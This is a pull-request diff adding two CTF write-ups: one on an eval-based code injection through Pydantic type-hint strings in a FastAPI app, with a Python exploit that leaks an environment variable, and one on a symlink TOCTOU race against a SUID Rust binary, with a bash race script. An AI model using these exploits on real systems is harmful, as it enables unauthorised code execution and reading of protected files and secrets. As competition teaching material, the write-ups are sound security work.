Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file not shown.
56 changes: 56 additions & 0 deletions content/writeups/GPN_CTF_2026/restaurant-builder/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
+++
title = "restaurant-builder"
date = 2026-06-26
authors = ["Vighnesh"]
+++

> So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant.
### Handout
[restaurant-builder.tar.gz](attachments/restaurant-builder.tar.gz)

---

Category: Web

We are given a FastAPI server in this which allows us to create and view pydantic models.
Pydantic is a widely used library in python for data validation and parsing. It basically allows us to declare the format of our data first and validate that the passed data follows the rules.

#### GET /blueprint/{name} endpoint

returns the pydantic model in a json format.
#### POST /blueprint/{name}

Allows us to pass a description of the pydantic model.
The main vulnerability lies here. The string sent by us is passed directly to the create_model function with minimum validation (checks if the key does not start with ```__```)

Pydantic treats the value of each key as a forward-reference type annotation basically as a type hint. The string is passed through eval() basically allowing arbitrary code execution.

In this we had to recover the flag, so we have to make sure that the passed string is actually a type hint or else the schema is not accepted.
Since typing was already imported I decided to use an Annotated str, making it a pydantic field with a description of ```__import__('os').getenv('FLAG')```. The description just adds a field to the schema representation its not of use.

Upon querying the schema we can get the flag from ```['properties']['flag']['description']```

```
import requests
import json

BASE_URL = ""

blueprint_name = "awaa"

payload = {
"flag": "__import__('typing').Annotated[str, __import__('pydantic').Field(description=__import__('os').getenv('FLAG'))]"
}

response = requests.post(f"{BASE_URL}/blueprint/{blueprint_name}", json=payload)

print(response.text)

response = requests.get(f"{BASE_URL}/blueprint/{blueprint_name}")

schema = response.json()

flag = schema['properties']['flag']['description']
print(flag)
```

Binary file not shown.
59 changes: 59 additions & 0 deletions content/writeups/GPN_CTF_2026/superCAT/index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
+++
title = "superCAT"
date = 2026-06-26
authors = ["Vighnesh"]
+++

> SuperCat. DO NOT EAT.
### Handout
[supercat.tar.gz](attachments/supercat.tar.gz)

---

Category: Misc

We were given a rust implementation of a stripped down cat. This is a basic TOCTOU attack.
Infamously rust makes it very easy to make this mistake if you use the standard fs abstraction as they all take a path and re-resolve it every time.

[A very good blog post on the pitfalls in rust's fs implementation.](https://corrode.dev/blog/bugs-rust-wont-catch/)

Time of check
```
let file = Path::new(&args[1]);
let file_meta = std::fs::metadata(file).expect("could not get file info");
```

Time of use
```
let content = fs::read_to_string(file).expect("Could not read file as string");
```


In this we keep swapping the symlink between a file we own and a file we want to read but cant while simultaneously running the binary.
Eventually we get the timing correct and get the flag.
Essentially at the time of check we are pointing to the dummy file and at the time of use we are pointing to the flag and since this is SUID binary we get the flag.

```
BINARY="/usr/local/bin/supercat"
TARGET="/flag"
DUMMY="dummy_file"
LINK="link_file"

touch $DUMMY

# here we are swapping symlinks
(
while true; do
ln -sf "$DUMMY" "$LINK"
ln -sf "$TARGET" "$LINK"
done
) &
# here we are running supercat
while true; do
RESULT=$($BINARY "$LINK" 2>/dev/null)

if [[ "$RESULT" == *"GPNCTF"* ]]; then
echo $RESULT
fi
done
```